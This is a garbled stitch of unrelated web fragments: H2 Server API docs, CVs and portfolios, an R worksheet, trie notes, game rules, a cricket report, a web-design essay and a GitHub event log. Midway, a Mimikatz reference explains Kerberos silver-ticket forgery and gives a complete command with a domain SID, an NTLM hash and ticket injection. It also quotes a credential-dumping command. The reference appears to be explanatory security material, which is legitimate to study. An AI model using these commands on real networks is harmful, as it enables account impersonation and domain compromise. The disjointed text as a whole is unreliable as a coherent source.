| [-tcp] |
Start the TCP server |
| [-tcpAllowOthers] |
Allow other computers to connect - see below |
| [-tcpDaemon] |
Use a daemon thread |
| [-tcpPort <port>] |
The port (default: 9092) |
| [-tcpSSL] |
Use encrypted (SSL) connections |
| [-tcpPassword <pwd>] |
The password for shutting down a TCP server |
| [-tcpShutdown "<url>"] |
Stop the TCP server; example: tcp://localhost |
| [-tcpShutdownForce] |
Do not wait until all connections are closed |
| [-pg] |
Start the PG server |
| [-pgAllowOthers] |
Allow other computers to connect - see below |
| [-pgDaemon] |
Use a daemon thread |
| [-pgPort <port>] |
The port (default: 5435) |
| [-properties "<dir>"] |
Server properties (default: ~, disable: null) |
| [-baseDir <dir>] |
The base directory for H2 databases (all servers) |
| [-ifExists] |
Only existing databases may be opened (all servers) |
| [-trace] |
Print additional trace information (all servers) |
The options -xAllowOthers are potentially risky.
For details, see Advanced Topics / Protection against Remote Access.
Parameters:
args - the command line arguments
|
| static void |
openBrowser(String url)
Open a new browser tab or window with the given URL.
|
| static void |
openBrowser(String url) throws Exception
Open a new browser tab or window with the given URL.
Parameters:
url - the URL to open
|
| static void |
shutdownTcpServer(String url, String password, boolean force, boolean all)
Shutdown one or all TCP server.
|
| static void |
shutdownTcpServer(String url, String password, boolean force, boolean all) throws SQLException
Shutdown one or all TCP server. If force is set to false, the server will not
allow new connections, but not kill existing connections, instead it will
stop if the last connection is closed. If force is set to true, existing
connections are killed. After calling the method with force=false, it is
not possible to call it again with force=true because new connections are
not allowed. Example:
Server.shutdownTcpServer(
"tcp://localhost:9094", password, true, false);
Parameters:
url - example: tcp://localhost:9094
password - the password to use ("" for no password)
force - the shutdown (don't wait)
all - whether all TCP servers that are running in the JVM
should be stopped
|
| static void |
startWebServer(Connection conn)
Start a web server and a browser that uses the given connection.
|
| static void |
startWebServer(Connection conn) throws SQLException
Start a web server and a browser that uses the given connection. The
current transaction is preserved. This is specially useful to manually
inspect the database when debugging. This method return as soon as the
user has disconnected.
Parameters:
conn - the database connection (the database must be open)
|
|
Server(Service service, String... args)
Create a new server for the given service.
|
|
Server(Service service, String... args) throws SQLException
Create a new server for the given service.
Parameters:
service - the service
args - the command line arguments
|
| int |
getPort()
Gets the port this server is listening on.
|
| int |
getPort()
Gets the port this server is listening on.
Returns:
the port
|
| Service |
getService()
Get the service attached to this server.
|
| Service |
getService()
Get the service attached to this server.
Returns:
the service
|
| String |
getStatus()
Get the status of this server.
|
| String |
getStatus()
Get the status of this server.
Returns:
the status
|
| String |
getURL()
Gets the URL of this server.
|
| String |
getURL()
Gets the URL of this server.
Returns:
the url
|
| boolean |
isRunning(boolean traceError)
Checks if the server is running.
|
| boolean |
isRunning(boolean traceError)
Checks if the server is running.
Parameters:
traceError - if errors should be written
Returns:
if the server is running
|
| void |
runTool(String... args)
|
| void |
runTool(String... args) throws SQLException
|
| Server |
start()
Tries to start the server.
|
| Server |
start() throws SQLException
Tries to start the server.
Returns:
the server if successful
Throws:
SQLException - if the server could not be started
|
| void |
stop()
Stops the server.
|
| void |
stop()
Stops the server.
|
|


This is a demo application for displaying an image in a mobile application, with the ability to pan and zoom on the image. I noticed that using the default native controllers for Ionic would blur the image, or not allow pinch to zoom, so I created this.
Take a look at the src/pages/pinchzoompan
for the code on how this is done.


I’m a Python web developer coding
and teaching in Washington DC.
See what I’ve been working on recently.
Get In Touch
I’m a full-stack web developer living in Washington DC. In my free time, I teach beginner friendly Python classes through Hear Me Code. I am actively seeking a full-time permanent position as a web developer. I'm also available for hire for short term projects.


Enthusiastic polyglot programmer with more than a year of real-life experience in web development. My current goal is to achieve a Ph.D. degree in Computer Science, specializing in Cyber Security and Data Science. The ultimate goal is to establish a research-based career.
Tutoring Undergraduate students. Hand out assignments and grade papers. Proctor examinations. Meet with students during office hours.
Developing a web application to help patients with hearing problems. Maintain web server. Goal was to develop an internet based self-therapy platform to aid people with hearing problems and as well as provide real-life data to help on going research.
Develop a web application using PHP codegniter MVC framework and modern front-end technology. Use Wordpress CMS on several Projects. Use opencart for an e-commerce based website.
CGPA: 3.47/4.0
CGPA: 3.56/4.0
Network Security Machine Learning Distributed and Cloud Computing Knowledge Discovery and Data Mining Human Computer Interaction


© DAISY Consortium. Some rights reserved.
Ace is part of the Inclusive Publishing initiative.
Theme adapted from Cupper.


Example to discuss :
ModelBinder Issue 3
How to bind to nested attributes that are not Backbone Models.
Model data:


rmarkdown
Instructions here: https://bookdown.org/yihui/rmarkdown/installation.html
More information on R Markdown:
Now, download a worksheet file (01_worksheets_familiar-with-r.Rmd.zip
). Unzip it and open in RStudio
. Let’s work through it!
NB: Original worksheets prepared by Lincoln Mullen, GMU (https://dh-r.lincolnmullen.com/worksheets.html)
R
language, or as a reference for the rest of the course.R
installation may ‘speak’ your main language. It is nice on one hand, but can be quite inconvenient in class, where the main language is English. You may have to do cast some spells to switch R
into English. Possible solutions can be found here: https://stackoverflow.com/questions/13575180/how-to-change-language-settings-in-r/Errors happen all the time.  You will run into error messages when “knitting” your document — as a result, your document will not be generated. To resolve this:
R Markdown
panel (usually in the lower left corner of RStudio interface) will tell you in which line the error occurred. You will need to fix it the same way you would in Step 1.You do not want to constantly keep [re]installing libraries. So, if a library is already installed, you can “comment out” that line.
install.packages("historydata")
install.packages("dplyr")
For example, the code chunk above should become:
#install.packages("historydata")
#install.packages("dplyr")
Adding #
in front of a line (or a section of a line) turns it into a comment
and it will not longer be executed.
Think about the following two lines of code. Any issues that you can explain? (You might want to run these lines in R to get some clues)
`?median`
variable1 <- DigitalHumanities
070184-LXX-HW-YourLastName-YourMatriculationNumber
, where LXX
is the numnber of the lesson for which you submit homework; YourLastName
is your last name; and YourMatriculationNumber
is your matriculation number.


Senior Backend Developer - Berlin, Sep 2014 to date
- Java, ElasticSearch, mySQL, Tomcat
- Europe's leading online work platform
- Role: senior backend Java developer
Clojure developer - Berlin, Apr 2014 to Aug 2014
- Clojure, ClojureScript, Datomic, om, ring,
compojure, expectations, Immutant, EC2
- Early stage startup
- Role: co-founder, developer
Software Developer - Berlin, Mar
2013 to Mar 2014
- NextiraOne Pricing System
- Spring MVC, JSP, PostgreSQL 9, JBoss AS 7, MicroTool In-Step, TRAC
- Realtime pricing system based on Business Logic 7
- Pricing system calculates article prices taking
into account various factors like base price,
service fee, deal
discounts, customer price modifiers, shop price
modifiers, currency exchange rates, etc
- Role: Technical Lead; contributed to analysis, design, and development. Involved in sprint planning and daily stand-up meetings.
- NextiraOne OfferTool
- Spring MVC, JSP, PostgreSQL 9, JBoss AS 7, MicroTool In-Step, TRAC
- OfferTool built on top of Business Logic 7
- OfferTool is a Configure-Price-Quote tool that manages customized offers for NXO customers
- Role: Technical Lead; contributed to analysis, design, and development. Involved in sprint planning and daily stand-up meetings.
Clojure developer
- Clojure, S3, MySql, http-kit, ring, compojure
- Contributed to implementation of rest api for iOS application; also helped secure
the two way communication
- Role: freelance clojure developer; part-time on need basis
Systems Analyst - Bahrain, Aug 2007 to Oct 2012
- Project: General Directorate of Traffic Management System
- Spring Framework, JSF, IBM RAD 7, DB2, WebSphere application server, LDAP
- This system manages driving licenses, vehicle registrations, road accidents, traffic tickets
and allied areas.
- This is a large-scale J2EE application performing hundreds of thousands of transactions per day
and is deployed on one staging and 3 production clustered application servers.
- Role: senior developer; contributed to analysis, design, development and maintenance. Continuous
interaction with with end users and project owners as well as with operations team
Team Lead - Lahore, Feb 2007 to Aug 2007
- Project: Sales Force Automation Enhancements
- Client: CableVision, USA
- Java, Struts, Oracle 9i, WebLogic Application Server, Sun iPlanet Web Server
- The Struts-based application was enhanced to further facilitate sales efforts.
- Role: team lead; contributed to implementation of new business requirements and rectification of
bugs in old functionality
Effective Object
Lead Developer - Lahore, Nov 2005 to Feb 2007
- OFBiz customization for a local client
- Java 1.5, Apache OFBiz
- Role: lead developer; contributed to business requirements management and implementation
- Job Portal
- AppFuse 2.0, mySQL, JSF, Spring 2.0, AJAX, Hibernate
- The web application was built using best of breed J2EE technologies. Major functionalities
were achieved by using various open source API’s such as Spring, Hibernate, Acegi, JSF,
ICEFaces, and Maven.
- Role: sole developer; the entire development from business requirements to deployment
Catalisse, Inc.
Senior Software Engineer - Lahore, Mar 2005 to Oct 2005
- Healthcare (Oncology) startup
- JBoss, JBPM, Hibernate, mySQL, Spring, XDoclet, Web Services
- An MIS for the oncology service providers in the US. Middle tier and backend developed using J2EE;
UI in C#. UI communicated with the backend through web servcies.
- Role: senior software engineer; contributed to module requirements management, module design
and implementation of the middle tier.
SPHINX Software Inc.
Senior Software Engineer - Lahore, Oct 2002 to Nov 2004
- Client: The New York State Financial Literacy Coalition
- Project: Website and Testing System
- JSP, Tomcat 4.0.6, J2SDK 1.4, Oracle 8i, Solaris
- The project included a web site and testing system for The New York State Financial Literacy
Coalition. The site gave information about the coalition and an online testing system for high
school students.
- The site was used by 20,000 schools in NY and on average 50,000 users used the site everyday.
- The project also included a Web Content Management System for the public site and a Test
Management System for online tests.
- Role: senior software engineer and later, project manager
Effective Information Systems
Senior Software Engineer - Lahore, Nov 2001 to Oct 2002
- Web Application Generator
- Java, XML, XSLT, Struts, Torque; JBuilder 6
- A meta-application that generated
Struts-based applications from an XML document.
The XML described all entities and their
inter-relationships. Then a set of XSLT style sheets
were used to generate for each entity
View-all, View-one pages Edit / Create / Delete pages,
JavaBeans, ActionForm and Action
classes, Wrapper classes for table views, project-level database
schema. When used in conjunction with
Torque, this generator could auto-generate nearly 80% of
the application code.
- Role: architect and lead developer; contributed the architecture and the core application functionality.
- Web-based MIS for Ahad Textiles (Pvt) Ltd, Faisalabad, Pakistan
- Tomcat 4.0 running on Windows 2000 Server; MySQL 3.23 database; Seagate Crystal Reports 8
Web Component Server to produce reports. WebSphere Studio Site Developer and its
integrated WebSphere 4.0 Test Environment used for development and debugging. Rational
Rose 2001A used for A&D, data modeling, etc. Some use of Rational XDE in web modeling.
- Integrated MIS that includes Accounts, Sales, Purchases, Production, Payroll, ISO and
Workflow Management. Struts MVC framework used to implement JSP based intranet application;
Torque O-R layer.
- Role: architect and lead developer; contributions included:
- application architecture
- Project Proposal, Project Specifications, Functional Requirements, Project Plan
- UML Model, Use case elaborations, Data Model and Database design
- Requirements Management; and Change Management, Testing and Deployment
- Close liaison with the client throughout the project life, Manage team of developers
- Use of best practices, and standards in systems analysis including the use of systems development
life cycle methodologies from project initiation to project closure
- Web-based MIS for GasTec CNG Station, Lahore, Pakistan
- Tomcat 4.0 running on Windows 2000 Server; MySQL 3.23 database; Seagate Crystal Reports 8 Web
Component Server
- Integrated MIS includes Accounts, Sales, Purchases, Payroll, Workshop and Compressor Management. JSP based intranet application.
- Role: architect and lead developer; contributed to analysis, design, coding, testing, and implementation of the application.
Effective Information Systems
Senior Software Engineer - Lahore, Nov 2001 to Oct 2002
- Web Application Generator
- Java, XML, XSLT, Struts, Torque; JBuilder 6
- A meta-application that generated Struts-based applications from an XML document.
The XML described all entities and their inter-relationships. Then a set of XSLT style sheets
were used to generate for each entity View-all, View-one pages Edit / Create / Delete pages,
JavaBeans, ActionForm and Action classes, Wrapper classes for table views, project-level database
schema. When used in conjunction with Torque, this generator could auto-generate nearly 80% of
the application code.
- Role: architect and lead developer; contributed the architecture and the core application functionality.
PrimeSoft (Pvt) Ltd
Senior Software Engineer - Lahore, Jun 2001 to September 2001
- Client: Visual Manufacturing Group
- Project: USA Manufacturing Control Module
- Oracle 8i, Rose 2000e, VB 6, TrueGrid 6.0e
- The database (Oracle 8i) modeled and managed thru Data Modeler of Rose 2000e.
Front end developed in VB 6, TrueDB Grid 6.0e.
- Role: application developer; contributed to data modeling and front-end development using
TrueGrid
Associated Software House (Pvt) Ltd
UML / Rose Mentor - Lahore, Jun 2001 to September 2001
- Teaching Object Oriented Analysis and Design using UML and Rational Rose 2000.
Associated Software House (Pvt) Ltd
Senior Software Engineer - Lahore, May 1999 to Nov 2000
- Web application for goRomantic, UK
- ASP, JavaScript, HTML, SQL Server 7.0, database design using ERWin, Visual InterDev and Ultradev.
- A web-based business enterprise offering vacation planning and facilitation to busy professionals.
- Role: team lead; contributed to database design, development, team management, and environment setup.
Effective Information Systems
Software Engineer - Lahore, Jan 2000 to Jul 2000
- MIS for Shell Foods (Pvt) Ltd, Lahore, Pakistan
- Designed the system model in UML 1.1 using Rational Rose 98i. Front-end developed in VB 6,
back-end in SQL Server 6.5, reports designed in Crystal Reports 7.
- An integrated MIS for a medium sized business concern dealing in rice processing & export
and marketing of packaged foods. The system was built around object-oriented technology in three
tiers (data and business tier deployed on a single server).
- Role: application developer; contributed to analysis, design and implementation
Cyber World
Software Engineer - Lahore, Sep 1998 to Dec 1999
- Visual Basic 6.0, SQL Server 6, Crystal Reports
- POS system for a major superstore; integrated with existing accounting system; developed front-end, database design and reports.


In this example, I am hiding a DIV using only CSS.Hover your mouse over the button below to see the effect:


A trie is a variant of an n-ary tree in which characters are stored at each node. Each path down the tree may represent a word.
TerminatingTrieNode
or by storing a boolean flag in
the parent, such as terminates
(McDowell, "Cracking the Coding Interview").
Node
contains a Hash table of its children that maps from a key (character) to its corresponding
Node
. The simplest way to indicate when a word terminates would be to use a boolean
terminates
flag set to true for any Node
that completes a word.
// C++
class Node {
char key;
HashMap<char, Node> children;
bool terminates;
}
# Python
class Node:
def __init__(self, key, flag):
self.key = key
self.terminates = flag
self.children = {}


Mimikatz Silver Ticket Command Reference
The Mimikatz command to create a golden or silver ticket is “kerberos::golden”
/domain – the fully qualified domain name. In this example: “lab.adsecurity.org”.
/sid – the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127”.
/user – username to impersonate
/groups (optional) – group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).
/ticket (optional) – provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
/ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.
/id (optional) – user RID. Mimikatz default is 500 (the default Administrator account RID).
/startoffset (optional) – the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0.
/endin (optional) – ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
/renewmax (optional) – maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).
Silver Ticket Required Parameters:
/target – the target server’s FQDN.
/service – the kerberos service running on the target server. This is the Service Principal Name class (or type) such as cifs, http, mssql.
/rc4 – the NTLM hash for the service (computer account or user account)
Silver Ticket Default Groups:
Domain Users SID: S-1-5-21<DOMAINID>-513
Domain Admins SID: S-1-5-21<DOMAINID>-512
Schema Admins SID: S-1-5-21<DOMAINID>-518
Enterprise Admins SID: S-1-5-21<DOMAINID>-519
Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520
Example Mimikatz Command to Create a Silver Ticket:
The following Mimikatz command creates a Silver Ticket for the CIFS service on the server adsmswin2k8r2.lab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain dump or by running Mimikatz on the local system as shown above (Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit). The NTLM password hash is used with the /rc4 paramteer. The service SPN type also needs to be identified in the /service parameter. Finally, the target computer’s fully-qualified domain name needs to be provided in the /target parameter. Don’t forget the domain SID in the /sid parameter.
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit


Every new player in the game is given some gold coins and is allotted a ‘Home Island’ and is given a ship of the lowest class, which is anchored, at the Home Island. The world follows a different Time System called as the Tick. A Tick in the game world corresponds to 10 minutes of time in the real world. The world has in total 15 different resource types and a given island in the world by default produces only one of these resources, called as the ‘Produced Resource’, after every Tick in the game. A player can perform the following actions in the game: • Buy an island • Explore an island • Buy a ship • Send a ship to any owned or explored island
The player has the option to buy/explore an island only once in every Tick. Click on the Dice button on the Top Right part of your screen. The Dice would take you to any random island in the world, which is not previously owned by the player. The randomly spawned island may be of two types: 1. Island owned by some other player 2. Island not owned by any player (called as AI island) If you land on a random island that is not owned by any player in the game, you have an option to either buy the island by paying a certain amount of gold coins or ignore the island. If you buy the island, it is added to your list of owned islands and any other player randomly landing on this island would pay you a novelty in the form of gold coins. If you choose to ignore the island, it is added to your list of explored islands. In both the cases, you can trade resources with the island as and when needed.  If you land on a random island that is already owned by some other player in the game, you have to pay some novelty to that player in the form of gold coins. The novelty is calculated based on the wealth of the island that you have landed on. Such islands are added to your list of explored islands and you can trade resources with these islands as and when needed.
For buying a ship, you need to have an ‘Empty Slot’. An Empty Slot is generated every time you buy an island. To buy a ship: 1. Click on the island from the Island List where you want the ship to be anchored. 2. Click on the ‘Empty Slot’ box at end of your Ship List in the Bottom Left part of your screen. 3. Ships are categorised into different classes based on their speed and cargo capacity. Choose which class of ship you would like to buy.
For each island you own, you can set what resource you want to sell/buy and how much of that resource you want to sell/buy. This can be done by clicking on the ‘Trading’ button on the bottom of main information screen. Trading between islands can be done only by using ships. Following are the steps to trade resources using a ship: Any ship can load goods only from the island where it is anchored it. In case you want to load from an other island, you will have to send the ship and anchor it there first. 1. Click on the Ship which is anchored at the source island (the island from where you want to send the goods). 2. The main info screen will now show you the ship details and a dropdown to select the destination island (Destination island can be any owned/ explored island) 3. After selecting the destination island, click on view market to view the possible resources that can be traded from source to destination island. 4. The left table shows the resources that are present at the source island and also being accepted at the destination island. The right table shows the resources that are currently being accepted by the destination island. 5. In the left table, you can decide how much resource(s) to load on the ship. 6. Click on the Send Ship button. Note: If you send a resource more in quantity than the quantity being accepted at the destination island, the extra quantity will be dumped in the ocean and you won’t be paid for the extra quantity.
Wealth of a player depends on the following factors: • Wealth of each owned islands • No. of explored islands • No. of gold coins • No. of ship
Wealth of an island depends on the following factors: • No. of different resource types present on the island • Quantity of each resource type present on the island Hint: To increase the wealth of any owned island, make sure you maintain a considerable quantity of all resource types on that island.


A small wireless device that instantly transforms ordinary surfaces into powerful remote controls for the smart technologies around you.
Set or snooze an alarm.
Brew coffee from your bed.
Know if a door is knocked.
Turn your lights on/off.
Tap into your favorite tunes.
Find your lost phone.
Alert you when mail arrives.
Climate control with a tap.
And many more integrations.
I'm currently studying the second semester on Computer Science in Tec de Monterrey, CCM. Really passionate about new technologies.
I'm a second semester computer science student, I enjoy listening music and playing videogames on my free time. Creating webpages and coding is interesting.
Tech enthusiast, studying 2nd semester of computer science. Passion for space-exploration, music, cinema and innovation.
Digital artist (2nd semester), passionate about design and technology. Geek, lover of videogames and in my spare time, web designer.


West Indies break record T20 losing streak
Lucknow - West Indies captain Kieron Pollard was a relieved man after his side hammered Afghanistan to end their longest losing streak in Twenty20 internationals.

West Indies, who had lost their seven previous T20s this year, made 164-5 from their 20 overs and then restricted Afghanistan to 134-9.
"It's always good to contribute but it's always better to contribute in the winning cause," Pollard said after the game late Thursday.
While paying tribute to Lewis, Pollard also said the Caribbean bowlers had performed "magnificently" despite being a bowler short. Pollard himself took Asghar Afghan and Najibullah Zadran as they were starting to build threatening innings.
"We have couple of guys who can bowl here and there. The guys rose up to the occasion," said Pollard. "We'll have to go back and improve on certain areas."
Afghanistan won the toss and skipper Rashid Khan opted to make West Indies bat but his gamble did not pay off. "We didn't bowl well in the first 10 overs," he admitted.
Afghanistan have now lost three straight T20s after 12 straight victories. However, Khan said the side were testing youngsters to be ready for future tournaments.
"We have a five year plan. Hopefully we'll have the perfect 15 for the Asia Cup and T20 World Cup." Both tournaments are in 2020.
The two sides play the second of their three match T20 series in Lucknow on Saturday. Afghanistan play all their home games in India because of security concerns.


Fang Jie Yu
<EMAIL_ADDRESS>Education
MA in Computer and Communicating Engineering (2018-present)
National Cheng Kung University, Taiwan
BA in Biomedical Engineering (2014-2018)
National Cheng Kung University, Taiwan
Research Interests
Big Data Mining and Analytics
Urban Science and Computing
Spatial-Temporal Information Computing
Web Design ( Front-end Development )
Programming Languages
Python / C# / html / css / javascript
Contacts
Tainan, Taiwan
Fang Jie Yu
grace963214789@gmail.com


What a responsive site is, and why responsiveness is important
A responsive website resizes and adapts to different sizes of screen (different resolutions) and types of devices, ensuring the website is still legible and is looking great.
There is a multitude of devices out there - desktops, laptops, phones, tablets of different sizes. Responsiveness is important to ensure great user experience on all of these devices.
What mobile first design is, and why it's important
Mobile first design is the process of designing your website firstly for mobile devices. Your first wireframes will be for mobile screens, and your basic CSS rules will be written to make the content look legible and good on mobile. CSS rules for desktop only come in a second phase of your development process and are included in media queries to be applied only on screen sizes above a certain threshold, also called breakpoint.
Mobile first design is important as is it easier to design for small screens then scale up, than the other way around. It helps focus on the content legiblibility and relevence rather than focusing on the design. Overall, it leads to better user experience.
What frameworks are, and their pros and cons
A framework is a predefine structure, or basic solution to a common problem. For instance, the CSS Skeleton framework includes a grid system for building websites. Rather than each web developer recreating a grid structure everytime they build a website, they can use an existing framwork and don't have to create a grid system. There are different frameworks solving the same standard problem, with solutions having different complexities and fitting different instances of that problem.
Advantages to using a framwork:
- Efficiency: unsing a framework is easier and faster, you don't need to reinvent the wheel!
- Good practices: frameworks are written using best practices and standards, e.g. with regards to breakpoints for media queries
- Testing: frameworks consider browser compatibility which is not easy to test, and quality is high thanks to the feedback from the developer community
- Collaboration: all project members use the standard and naming conventions set by the framework which make collaboration easier
- Learning curve: Learning to use a framework can be quite time consuming
- Customization: framworks can be limiting, and require a lot of customization. This can represent a lengthy addition of code in order to override framework styles which become unused code
- Mastery: using a framework, a developer, especially an inexperienced one, misses out on learning to implement the basics, and ends up not knowing the code as well as if they had written it
What a wireframe is and why we use it
A wireframe is a static picture, a mockup of what your website layout will look like. It helps have an overview of the structure of the website, its skeleton, amd make sure all content elements are included.
Wireframes can be deconstructed into boxes (boxifying), which will be the basic elements of our HTML. Basic elements of design are also included, for example: number of columns, formart of the menu. Wireframes usually do not include colors and images, rather they use simple lines - wires - to represent the elements on the page.
The aspects of your wireframes you found difficult to implement, and why
In general, customizing the website leads to many specificity issues. Additionally, building the features incrementally leads to a CSS that is not well structured and would be really difficult for someone else to understand. There is some serious technical debt going on here, and I didn't have time to do any refactoring.
The menu was a difficult part to implement, particularly positioning the logo halfway on the header in desktop screens, using a position absolute on the container, and relative on the logo.
I find centering elements sometimes complicated. At first, I tried positioning without flex boxes for the sake of learning. However, after loosing quite some time not getting the results I was after, I resorted to flex boxes to center element and change the direction of the flow of elements.


MINDReach is a product line aimed at empowering “unreached” and underserved stakeholders through an array of flexible and accessible products and services in support of the Agency’s business development thrust with a focus on its corporate social responsibility.


Railroad Ink
Tap to place/rotate, double-tap to remove.
Play normal game
Play with lakes
Play with forests
Multiplayer
Game over
Play again
Download an image of the game
Your name:
Game name:
Continue game
Join game
Create normal game
Create game with lakes
Create game with forests
Players


deployed
by None at 2022-01-11 13:47:19.referenced
by None at 2022-01-11 13:57:53.merged
by None at 2022-01-11 13:57:53.closed
by None at 2022-01-11 13:57:53.head_ref_deleted
by None at 2022-01-11 13:57:53.referenced
by None at 2022-01-11 14:01:58.referenced
by None at 2022-01-11 14:08:26.closed
by Christina Chortaria at 2022-01-11 14:19:13.referenced
by Christina Chortaria at 2022-01-11 14:19:13.merged
by Christina Chortaria at 2022-01-11 14:19:13.closed
by Christina Chortaria at 2022-01-11 14:19:13.head_ref_deleted
by Christina Chortaria at 2022-01-11 14:19:14.closed
by None at 2022-01-11 18:25:02.MC104 uris: /repositories/3/resources/1863 /repositories/3/resources/1860 /repositories/3/resources/1861 /repositories/3/resources/1862
assigned
by Christina Chortaria at 2022-01-11 16:47:54.closed
by None at 2022-01-11 18:18:26.referenced
by None at 2022-01-11 18:18:26.merged
by None at 2022-01-11 18:18:26.closed
by None at 2022-01-11 18:18:26.head_ref_deleted
by None at 2022-01-11 18:18:27.head_ref_force_pushed
by Christina Chortaria at 2022-01-11 18:37:28.closed
by Hector Correa at 2022-01-11 20:25:21.referenced
by Hector Correa at 2022-01-11 20:25:20.merged
by Hector Correa at 2022-01-11 20:25:21.closed
by Hector Correa at 2022-01-11 20:25:21.head_ref_deleted
by Hector Correa at 2022-01-11 20:25:22.closed
by Hector Correa at 2022-01-11 20:35:20.referenced
by Hector Correa at 2022-01-11 20:35:20.merged
by Hector Correa at 2022-01-11 20:35:20.closed
by Hector Correa at 2022-01-11 20:35:21.head_ref_deleted
by Hector Correa at 2022-01-11 20:35:21.@escowles We have some wireframes for this feature ready for review, feedback welcome!
@kelynch For the search results, I think I like the Table of Contents option better than having the link on the right under the heading.
For the home page, I wonder if we can should move the "Browse full Catalogo" button under the search box, and put the "Vatican Annotated Catalogo" as a second button next to it?
assigned
by Kate Lynch at 2022-01-11 20:22:29.closed
by Kate Lynch at 2022-01-11 20:57:38.mentioned
by Esmé Cowles at 2022-01-11 20:57:38.subscribed
by Esmé Cowles at 2022-01-11 20:57:38.reopened
by Kate Lynch at 2022-01-11 20:58:28.mentioned
by Kate Lynch at 2022-01-11 22:24:05.subscribed
by Kate Lynch at 2022-01-11 22:24:05.head_ref_force_pushed
by Hector Correa at 2022-01-11 21:29:03.closed
by Eliot Jordan at 2022-01-10 22:45:15.referenced
by Eliot Jordan at 2022-01-10 22:45:15.merged
by Eliot Jordan at 2022-01-10 22:45:15.closed
by Eliot Jordan at 2022-01-10 22:45:15.head_ref_deleted
by Eliot Jordan at 2022-01-10 22:45:16.labeled
by Trey Pendragon at 2022-01-10 22:12:45.labeled
by Trey Pendragon at 2022-01-10 22:12:45.There should be a ticket for this already. it has come up multiple times. lemme look for one
UI for bulk download #1891
labeled
by Trey Pendragon at 2022-01-11 16:09:33.labeled
by Trey Pendragon at 2022-01-11 16:09:33.Example raster set: \\diglibdata1.princeton.edu\maplab\dan\bulk_raster_tests
MMSID:<PHONE_NUMBER>8606421
Command I'm using to get files locally:
rsync -vaz pulsys@lib-proc7.princeton.edu:/mnt/hydra_sources/maplab/dan/bulk_raster_tests tmp/
Over VPN this was too slow to finish in a reliable amount fo time, so I'm tar/gzipping up the directory and I'll put it on S3.
assigned
by None at 2022-01-11 20:07:31.This caused Figgy to crash for 20 minutes on 1/11/22
Thoughts from Slack:
labeled
by Trey Pendragon at 2022-01-11 19:11:16.labeled
by Trey Pendragon at 2022-01-11 19:11:20.labeled
by Trey Pendragon at 2022-01-11 19:11:26.referenced
by None at 2022-01-11 21:11:55.closed
by Trey Pendragon at 2022-01-11 20:38:10.Blocked by 4785 because we need a fixture.
assigned
by Eliot Jordan at 2022-01-10 22:43:06.closed
by Trey Pendragon at 2022-01-11 21:05:06.closed
by Trey Pendragon at 2022-01-11 21:05:06.head_ref_force_pushed
by Eliot Jordan at 2022-01-10 22:41:12.labeled
by Eliot Jordan at 2022-01-10 22:43:20.ready_for_review
by Eliot Jordan at 2022-01-10 22:43:32.deployed
by None at 2022-01-10 22:53:03.deployed
by None at 2022-01-11 17:37:40.referenced
by Trey Pendragon at 2022-01-11 21:05:06.merged
by Trey Pendragon at 2022-01-11 21:05:06.closed
by Trey Pendragon at 2022-01-11 21:05:07.head_ref_deleted
by Trey Pendragon at 2022-01-11 21:05:07.Deployed to fpul-staging. Working fine. Requires database update to be run after deployment.
review_requested
by Kevin Reiss at 2022-01-11 18:06:20.deployed
by None at 2022-01-11 19:04:10.closed
by Christina Chortaria at 2022-01-11 14:04:52.deployed
by None at 2022-01-11 13:35:09.referenced
by Christina Chortaria at 2022-01-11 14:04:52.merged
by Christina Chortaria at 2022-01-11 14:04:52.closed
by Christina Chortaria at 2022-01-11 14:04:52.head_ref_deleted
by Christina Chortaria at 2022-01-11 14:04:53.from https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/button_role
- [x] add role="button" (so that we dont need to change the facet to a <button>
or <input type="button">
)
- [x] make the element focusable
- [ ] define event handlers for click and keydown events. (This includes handling the Enter and Space keypresses in order to process all forms of user input. See the official WAI-ARIA example code.)
referenced
by Christina Chortaria at 2022-01-11 14:34:37.assigned
by None at 2022-01-11 18:29:10.reopened
by Christina Chortaria at 2022-01-11 19:01:06.Following notes in https://github.com/pulibrary/orangelight/issues/2821#issuecomment-1009118329 and @itmaybejj recommendation from the developer.mozilla page Warning: Be careful when marking up links with the button role. Buttons are expected to be triggered using the Space or Enter key, while links are expected to be triggered using the Enter key. In other words, when links are used to behave like buttons, adding role="button" alone is not sufficient. It will also be necessary to add a key event handler that listens for the Space key in order to be consistent with native buttons.
need to complete the 3rd checkbox before merging.
Coverage remained the same at 96.74% when pulling 49733854eeedb1fc12c942fa12ab30b51eb117fa on 2821-facet-link into 4cd055fe22558d0e3d56f89e321522b6209698f0 on main.
mentioned
by John Jameson at 2022-01-11 19:17:40.subscribed
by John Jameson at 2022-01-11 19:17:40.deployed
by None at 2022-01-11 23:10:21.head_ref_force_pushed
by Christina Chortaria at 2022-01-11 23:16:40.deployed
by None at 2022-01-11 23:23:17.head_ref_force_pushed
by Christina Chortaria at 2022-01-11 23:33:47.deployed
by None at 2022-01-11 23:34:07.labeled
by None at 2022-01-11 14:51:07.renamed
by None at 2022-01-11 14:51:16.unlabeled
by None at 2022-01-11 14:51:57.head_ref_force_pushed
by Francis Kayiwa at 2022-01-11 16:03:43.@carolyncole is this still an issue? is recap using Postgresql now?
mentioned
by None at 2022-01-11 17:39:09.subscribed
by None at 2022-01-11 17:39:09.Fixed.
closed
by Alicia Cozine at 2022-01-11 17:39:33.Zookeeper runs on its own machines.
